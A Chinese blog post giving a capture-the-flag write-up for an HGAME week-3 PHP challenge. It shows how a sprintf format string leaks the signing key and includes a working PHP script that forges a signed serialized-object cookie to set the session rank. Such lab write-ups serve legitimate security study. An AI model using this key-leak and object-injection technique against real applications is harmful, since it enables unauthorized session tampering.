美文网首页
【反序列化】HGAME-week3

【反序列化】HGAME-week3

作者: 萍水间人 | 来源:发表于2020-02-16 22:50 被阅读0次

这次HGAME-week3 的序列之争出的很棒,也让我进一步体会到了反序列化漏洞的原理

0x01 sprintf 泄露密钥

    private function init($data){
        foreach($data as $key => $value){
            $this->welcomeMsg = sprintf($this->welcomeMsg, $value);
            $this->sign .= md5($this->sign . $value);
        }
    }

调用的时候

        $data = [$playerName, $this->encryptKey];
        $this->init($data);

而 welcomMsg 本身只有一个 %s

所以我们让 $playerName%s 就能做到泄露出密钥

0x02 反序列化

拿到 flag的条件

    <?php if($game->rank->Get() === 1){?>
        <h2>hgame{flag_is_here}</h2>
    <?php }?>

要控制 $game->rank->Get() 返回值为1

由于 $game 的构造方法

    public function __construct($playerName){
        $_SESSION['player'] = $playerName;
        if(!isset($_SESSION['exp'])){
            $_SESSION['exp'] = 0;
        }
        $data = [$playerName, $this->encryptKey];
        $this->init($data);
        $this->monster = new Monster($this->sign);
        $this->rank = new Rank();
    }

先看 Rank

    public function __construct(){
        if(!isset($_SESSION['rank'])){
            $this->Set(rand(2, 1000));
            return;
        }

        $this->Set($_SESSION['rank']);
    }

构造方法会传入session中的rank值

其他的几个方法没有太大的用处

但是析构方法中

    public function __destruct(){
        // 确保程序是跑在服务器上的!
        $this->serverKey = $_SERVER['key'];
        if($this->key === $this->serverKey){
            $_SESSION['rank'] = $this->rank;
        }else{
            // 非正常访问
            session_start();
            session_destroy();
            setcookie('monster', '');
            header('Location: index.php');
            exit;
        }
    }

只要满足 $this->key === $this->serverKey

就会将 $this->rank 的值赋值给 session中存起来,表面上看没什么,但是利用点就是在这里

最后我们看到存在反序列化的点

    public function __construct($key){
        $this->encryptKey = $key;
        if(!isset($_COOKIE['monster'])){
            $this->Set();
            return;
        }

        $monsterData = base64_decode($_COOKIE['monster']);
        if(strlen($monsterData) > 32){
            $sign = substr($monsterData, -32);
            $monsterData = substr($monsterData, 0, strlen($monsterData) - 32);
            if(md5($monsterData . $this->encryptKey) === $sign){
                $this->monsterData = unserialize($monsterData);
            }else{
                session_start();
                session_destroy();
                setcookie('monster', '');
                header('Location: index.php');
                exit;
            }
        }
        
        $this->Set();     
    }

我们可以将 Rank 类序列化

然后这个类销毁的时候就会设置 session中的ran值,这样下一次实例化 Rank 类的时候,rank的值就是1了

<?php
class Rank{
    private $rank = 1;
}
$data = ['e99', 'gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL'];
$sign = '';
foreach ($data as $key => $value) {
    $sign .= md5($sign.$value);
}
$rank = serialize(new Rank());
var_dump(base64_encode($rank.md5($rank.$sign)));
?>

当然这里还有一个条件需要满足 $this->key === $this->serverKey 这个可以用取地址来做到,但是实际测试的时候上述的exp也是可以的

相关文章

  • 【反序列化】HGAME-week3

    这次HGAME-week3 的序列之争出的很棒,也让我进一步体会到了反序列化漏洞的原理 0x01 sprintf ...

  • 序列化和反序列化的概念

    1序列化:把对象转为字节序列的过程 为序列化; 2相反:字节---------->对象 为反序列化 3 序列化的场...

  • 【Flink 精选】常见的性能问题及其定位思路

    常见的性能问题及其定位思路 1.常见的性能问题 (1)JSON序列化和反序列化 source的序列化,sink的反...

  • 序列化、序列化攻击与序列化代理

    一、what、why、how 序列化 什么是序列化?简单讲就是将对象按照序列化协议编码成字节流,相反的过程就称为反...

  • java专题之序列化

    一、基本概念 1、什么是序列化和反序列化 (1)Java序列化是指把Java对象转换为字节序列的过程,而Java反...

  • Android序列化方式Serializable和Parcela

    前言 在介绍Serializable和Parcelable两种序列化方式之前,我们先来了解下什么是序列化,什么是反...

  • Android中的序列化和反序列化

    概念 正式的:序列化:把对象转换为字节序列的过程称为对象的序列化。反序列化:把字节序列恢复为对象的过程称为对象的反...

  • 序列化与反序列化1

    一、什么是序列化与反系列化? 序列化是将对象转换为二进制形式的数据(如Java中的byte数组),反序列化是再将二...

  • 序列化和反序列化理解

    其实作为一名程序员,必须要知道序列化和 反序列化 的概念,因为它是在工作中非常常见的概念。 1. 什么是序列化?反...

  • 二叉树--反序列化一棵树

    今天延续上一章的内容,反序列化一棵树。 题目介绍 给定一个序列化后的字符串,反序列化为一棵树,例如: 实现思路 反...

网友评论

      本文标题:【反序列化】HGAME-week3

      本文链接:https://www.haomeiwen.com/subject/xufvfhtx.html